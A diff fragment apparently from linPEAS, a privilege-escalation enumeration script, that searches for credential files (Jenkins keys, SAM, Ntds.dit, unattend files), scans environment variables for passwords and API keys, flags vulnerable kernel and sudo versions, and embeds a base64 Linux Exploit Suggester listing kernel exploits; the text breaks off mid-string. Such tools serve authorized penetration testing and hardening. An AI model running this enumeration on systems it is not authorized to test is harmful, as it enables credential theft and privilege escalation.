+ PSTORAGE_JENKINS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "master\.key$|hudson\.util\.Secret$|credentials\.xml$|config\.xml$|.*jenkins$" | sort | uniq | head -n 70)
+ PSTORAGE_WGET=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.wgetrc$" | sort | uniq | head -n 70)
+ PSTORAGE_INTERESTING_LOGS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "access\.log$|error\.log$" | sort | uniq | head -n 70)
+ PSTORAGE_OTHER_INTERESTING=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.bashrc$|\.google_authenticator$|hosts\.equiv$|\.lesshst$|\.plan$|\.profile$|\.recently-used\.xbel$|\.rhosts$|\.sudo_as_admin_successful$" | sort | uniq | head -n 70)
+ PSTORAGE_WINDOWS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*\.rdg$|AppEvent\.Evt$|autounattend\.xml$|ConsoleHost_history\.txt$|FreeSSHDservice\.ini$|NetSetup\.log$|Ntds\.dit$|protecteduserkey\.bin$|RDCMan\.settings$|SAM$|SYSTEM$|SecEvent\.Evt$|appcmd\.exe$|bash\.exe$|datasources\.xml$|default\.sav$|drives\.xml$|groups\.xml$|https-xampp\.conf$|https\.conf$|iis6\.log$|index\.dat$|my\.cnf$|my\.ini$|ntuser\.dat$|pagefile\.sys$|printers\.xml$|recentservers\.xml$|scclient\.exe$|scheduledtasks\.xml$|security\.sav$|server\.xml$|setupinfo$|setupinfo\.bak$|sitemanager\.xml$|sites\.ini$|software$|software\.sav$|sysprep\.inf$|sysprep\.xml$|system\.sav$|unattend\.inf$|unattend\.txt$|unattend\.xml$|unattended\.xml$|wcx_ftp\.ini$|ws_ftp\.ini$|web.*\.config$|winscp\.ini$|wsl\.exe$|plum\.sqlite$" | sort | uniq | head -n 70)
+ PSTORAGE_DATABASE=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/man/|/usr/|/var/cache/|thumbcache|iconcache|IconCache|/man/|/usr/|/var/cache/' | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*\.db$|.*\.sqlite$|.*\.sqlite3$" | sort | uniq | head -n 70)
+ PSTORAGE_BACKUPS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "backup$|backups$" | sort | uniq | head -n 70)
+ PSTORAGE_PASSWORD_FILES=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*password.*$|.*credential.*$|creds.*$|.*\.key$" | sort | uniq | head -n 70)
+
+
+ ##### POST SEARCH VARIABLES #####
+ backup_folders_row="$(echo $PSTORAGE_BACKUPS | tr '\n' ' ')"
+ printf ${YELLOW}"DONE\n"$NC
+ echo ""
+fi
+
+
+
+
+
+
+
+
+
+
+
+
+
+if echo $CHECKS | grep -q system_information; then
+print_title "System Information"
+###########################################
+#-------------) System Info (-------------#
+###########################################
+
+#-- SY) OS
+print_2title "Operative system"
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits"
+(cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel7,${SED_RED_YELLOW}," | sed -${E} "s,$kernelB,${SED_RED},"
+warn_exec lsb_release -a 2>/dev/null
+if [ "$MACPEAS" ]; then
+ warn_exec system_profiler SPSoftwareDataType
+fi
+echo ""
+
+#-- SY) Sudo
+print_2title "Sudo version"
+if [ "$(command -v sudo 2>/dev/null)" ]; then
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version"
+sudo -V 2>/dev/null | grep "Sudo ver" | sed -${E} "s,$sudovB,${SED_RED},"
+else echo_not_found "sudo"
+fi
+echo ""
+
+#--SY) USBCreator
+if (busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator) || [ "$DEBUG" ]; then
+ print_2title "USBCreator"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation"
+
+ pc_version=$(dpkg -l 2>/dev/null | grep policykit-desktop-privileges | grep -oP "[0-9][0-9a-zA-Z\.]+")
+ if [ -z "$pc_version" ]; then
+ pc_version=$(apt-cache policy policykit-desktop-privileges 2>/dev/null | grep -oP "\*\*\*.*" | cut -d" " -f2)
+ fi
+ if [ -n "$pc_version" ]; then
+ pc_length=${#pc_version}
+ pc_major=$(echo "$pc_version" | cut -d. -f1)
+ pc_minor=$(echo "$pc_version" | cut -d. -f2)
+ if [ "$pc_length" -eq 4 ] && [ "$pc_major" -eq 0 ] && [ "$pc_minor" -lt 21 ]; then
+ echo "Vulnerable!!" | sed -${E} "s,.*,${SED_RED},"
+ fi
+ fi
+fi
+echo ""
+
+#-- SY) PATH
+
+print_2title "PATH"
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses"
+if ! [ "$IAMROOT" ]; then
+ echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g"
+fi
+
+if [ "$DEBUG" ]; then
+ echo "New path exported: $PATH"
+fi
+echo ""
+
+#-- SY) Date
+print_2title "Date & uptime"
+warn_exec date 2>/dev/null
+warn_exec uptime 2>/dev/null
+echo ""
+
+#-- SY) System stats
+if [ "$EXTRA_CHECKS" ]; then
+ print_2title "System stats"
+ (df -h || lsblk) 2>/dev/null || echo_not_found "df and lsblk"
+ warn_exec free 2>/dev/null
+ echo ""
+fi
+
+#-- SY) CPU info
+if [ "$EXTRA_CHECKS" ]; then
+ print_2title "CPU info"
+ warn_exec lscpu 2>/dev/null
+ echo ""
+fi
+
+if [ -d "/dev" ] || [ "$DEBUG" ] ; then
+ print_2title "Any sd*/disk* disk in /dev? (limit 20)"
+ ls /dev 2>/dev/null | grep -Ei "^sd|^disk" | sed "s,crypt,${SED_RED}," | head -n 20
+ echo ""
+fi
+
+if [ -f "/etc/fstab" ] || [ "$DEBUG" ]; then
+ print_2title "Unmounted file-system?"
+ print_info "Check if you can mount umounted devices"
+ grep -v "^#" /etc/fstab 2>/dev/null | grep -Ev "\W+\#|^#" | sed -${E} "s,$mountG,${SED_GREEN},g" | sed -${E} "s,$notmounted,${SED_RED},g" | sed -${E} "s%$mounted%${SED_BLUE}%g" | sed -${E} "s,$Wfolders,${SED_RED}," | sed -${E} "s,$mountpermsB,${SED_RED},g" | sed -${E} "s,$mountpermsG,${SED_GREEN},g"
+ echo ""
+fi
+
+if ([ "$(command -v diskutil)" ] || [ "$DEBUG" ]) && [ "$EXTRA_CHECKS" ]; then
+ print_2title "Mounted disks information"
+ warn_exec diskutil list
+ echo ""
+fi
+
+if [ "$(command -v smbutil)" ] || [ "$DEBUG" ]; then
+ print_2title "Mounted SMB Shares"
+ warn_exec smbutil statshares -a
+ echo ""
+fi
+
+#-- SY) Environment vars
+print_2title "Environment"
+print_info "Any private information inside environment variables?"
+(env || printenv || set) 2>/dev/null | grep -v "RELEVANT*|FIND*|^VERSION=|dbuslistG|mygroups|ldsoconfdG|pwd_inside_history|kernelDCW_Ubuntu_Precise|kernelDCW_Ubuntu_Trusty|kernelDCW_Ubuntu_Xenial|kernelDCW_Rhel|^sudovB=|^rootcommon=|^mounted=|^mountG=|^notmounted=|^mountpermsB=|^mountpermsG=|^kernelB=|^C=|^RED=|^GREEN=|^Y=|^B=|^NC=|TIMEOUT=|groupsB=|groupsVB=|knw_grps=|sidG|sidB=|sidVB=|sidVB2=|sudoB=|sudoG=|sudoVB=|timersG=|capsB=|notExtensions=|Wfolders=|writeB=|writeVB=|_usrs=|compiler=|PWD=|LS_COLORS=|pathshG=|notBackup=|processesDump|processesB|commonrootdirs|USEFUL_SOFTWARE|PSTORAGE_KUBERNETES" | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[aA][pP][iI][kK][eE][yY]|[aA][pP][iI][_][kK][eE][yY]|KRB5CCNAME,${SED_RED},g" || echo_not_found "env || set"
+echo ""
+
+#-- SY) Dmesg
+if [ "$(command -v dmesg 2>/dev/null)" ] || [ "$DEBUG" ]; then
+ print_2title "Searching Signature verification failed in dmesg"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#dmesg-signature-verification-failed"
+ (dmesg 2>/dev/null | grep "signature") || echo_not_found "dmesg"
+ echo ""
+fi
+
+#-- SY) Kernel extensions
+if [ "$MACPEAS" ]; then
+ print_2title "Kernel Extensions not belonging to apple"
+ kextstat 2>/dev/null | grep -Ev " com.apple."
+
+ print_2title "Unsigned Kernel Extensions"
+ macosNotSigned /Library/Extensions
+ macosNotSigned /System/Library/Extensions
+fi
+
+if [ "$(command -v bash 2>/dev/null)" ]; then
+ print_2title "Executing Linux Exploit Suggester"
+ print_info "https://github.com/mzet-/linux-exploit-suggester"
+ les_b64="IyEvYmluL2Jhc2gKCiMKIyBDb3B5cmlnaHQgKGMpIDIwMTYtMjAyMywgaHR0cHM6Ly9naXRodWIuY29tL216ZXQtCiMKIyBsaW51eC1leHBsb2l0LXN1Z2dlc3Rlci5zaCBjb21lcyB3aXRoIEFCU09MVVRFTFkgTk8gV0FSUkFOVFkuCiMgVGhpcyBpcyBmcmVlIHNvZnR3YXJlLCBhbmQgeW91IGFyZSB3ZWxjb21lIHRvIHJlZGlzdHJpYnV0ZSBpdAojIHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGUgR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UuIFNlZSBMSUNFTlNFCiMgZmlsZSBmb3IgdXNhZ2Ugb2YgdGhpcyBzb2Z0d2FyZS4KIwoKVkVSU0lPTj12MS4xCgojIGJhc2ggY29sb3JzCiN0eHRyZWQ9IlxlWzA7MzFtIgp0eHRyZWQ9IlxlWzkxOzFtIgp0eHRncm49IlxlWzE7MzJtIgp0eHRncmF5PSJcZVswOzM3bSIKdHh0Ymx1PSJcZVswOzM2bSIKdHh0cnN0PSJcZVswbSIKYmxkd2h0PSdcZVsxOzM3bScKd2h0PSdcZVswOzM2bScKYmxkYmx1PSdcZVsxOzM0bScKeWVsbG93PSdcZVsxOzkzbScKbGlnaHR5ZWxsb3c9J1xlWzA7OTNtJwoKIyBpbnB1dCBkYXRhClVOQU1FX0E9IiIKCiMgcGFyc2VkIGRhdGEgZm9yIGN1cnJlbnQgT1MKS0VSTkVMPSIiCk9TPSIiCkRJU1RSTz0iIgpBUkNIPSIiClBLR19MSVNUPSIiCgojIGtlcm5lbCBjb25maWcKS0NPTkZJRz0iIgoKQ1ZFTElTVF9GSUxFPSIiCgpvcHRfZmV0Y2hfYmlucz1mYWxzZQpvcHRfZmV0Y2hfc3Jjcz1mYWxzZQpvcHRfa2VybmVsX3ZlcnNpb249ZmFsc2UKb3B0X3VuYW1lX3N0cmluZz1mYWxzZQpvcHRfcGtnbGlzdF9maWxlPWZhbHNlCm9wdF9jdmVsaXN0X2ZpbGU9ZmFsc2UKb3B0X2NoZWNrc2VjX21vZGU9ZmFsc2UKb3B0X2Z1bGw9ZmFsc2UKb3B0X3N1bW1hcnk9ZmFsc2UKb3B0X2tlcm5lbF9vbmx5PWZhbHNlCm9wdF91c2Vyc3BhY2Vfb25seT1mYWxzZQpvcHRfc2hvd19kb3M9ZmFsc2UKb3B0X3NraXBfbW9yZV9jaGVja3M9ZmFsc2UKb3B0X3NraXBfcGtnX3ZlcnNpb25zPWZhbHNlCgpBUkdTPQpTSE9SVE9QVFM9ImhWZmJzdTprOmRwOmciCkxPTkdPUFRTPSJoZWxwLHZlcnNpb24sZnVsbCxmZXRjaC1iaW5hcmllcyxmZXRjaC1zb3VyY2VzLHVuYW1lOixrZXJuZWw6LHNob3ctZG9zLHBrZ2xpc3QtZmlsZTosc2hvcnQsa2VybmVsc3BhY2Utb25seSx1c2Vyc3BhY2Utb25seSxza2lwLW1vcmUtY2hlY2tzLHNraXAtcGtnLXZlcnNpb25zLGN2ZWxpc3QtZmlsZTosY2hlY2tzZWMiCgojIyBleHBsb2l0cyBkYXRhYmFzZQpkZWNsYXJlIC1hIEVYUExPSVRTCmRlY2xhcmUgLWEgRVhQTE9JVFNfVVNFUlNQQUNFCgojIyB0ZW1wb3JhcnkgYXJyYXkgZm9yIHB1cnBvc2Ugb2Ygc29ydGluZyBleHBsb2l0cyAoYmFzZWQgb24gZXhwbG9pdHMnIHJhbmspCmRlY2xhcmUgLWEgZXhwbG9pdHNfdG9fc29ydApkZWNsYXJlIC1hIFNPUlRFRF9FWFBMT0lUUwoKIyMjIyMjIyMjIyMjIExJTlVYIEtFUk5FTFNQQUNFIEVYUExPSVRTICMjIyMjIyMjIyMjIyMjIyMjIyMjCm49MAoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA0LTEyMzVdJHt0eHRyc3R9IGVsZmxibApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj0yLjQuMjkKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9pc2VjLnBsL3Z1bG5lcmFiaWxpdGllcy9pc2VjLTAwMjEtdXNlbGliLnR4dApiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxMTExMDMwNDI5MDQvaHR0cDovL3RhcmFudHVsYS5ieS5ydS9sb2NhbHJvb3QvMi42LngvZWxmbGJsCmV4cGxvaXQtZGI6IDc0NApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA0LTEyMzVdJHt0eHRyc3R9IHVzZWxpYigpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPTIuNC4yOQpUYWdzOgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL2lzZWMucGwvdnVsbmVyYWJpbGl0aWVzL2lzZWMtMDAyMS11c2VsaWIudHh0CmV4cGxvaXQtZGI6IDc3OApDb21tZW50czogS25vd24gdG8gd29yayBvbmx5IGZvciAyLjQgc2VyaWVzIChldmVuIHRob3VnaCAyLjYgaXMgYWxzbyB2dWxuZXJhYmxlKQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA0LTEyMzVdJHt0eHRyc3R9IGtyYWQzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuNSx2ZXI8PTIuNi4xMQpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDEzOTcKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNC0wMDc3XSR7dHh0cnN0fSBtcmVtYXBfcHRlClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4yClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogMTYwCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDYtMjQ1MV0ke3R4dHJzdH0gcmFwdG9yX3ByY3RsClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTMsdmVyPD0yLjYuMTcKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAyMDMxCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDYtMjQ1MV0ke3R4dHJzdH0gcHJjdGwKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xMyx2ZXI8PTIuNi4xNwpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDIwMDQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNi0yNDUxXSR7dHh0cnN0fSBwcmN0bDIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xMyx2ZXI8PTIuNi4xNwpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDIwMDUKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNi0yNDUxXSR7dHh0cnN0fSBwcmN0bDMKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xMyx2ZXI8PTIuNi4xNwpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDIwMDYKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNi0yNDUxXSR7dHh0cnN0fSBwcmN0bDQKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xMyx2ZXI8PTIuNi4xNwpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDIwMTEKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNi0zNjI2XSR7dHh0cnN0fSBoMDBseXNoaXQKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi44LHZlcjw9Mi42LjE2ClRhZ3M6ClJhbms6IDEKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTExMTAzMDQyOTA0L2h0dHA6Ly90YXJhbnR1bGEuYnkucnUvbG9jYWxyb290LzIuNi54L2gwMGx5c2hpdApleHBsb2l0LWRiOiAyMDEzCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDgtMDYwMF0ke3R4dHJzdH0gdm1zcGxpY2UxClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTcsdmVyPD0yLjYuMjQKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiA1MDkyCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDgtMDYwMF0ke3R4dHJzdH0gdm1zcGxpY2UyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMjMsdmVyPD0yLjYuMjQKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiA1MDkzCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDgtND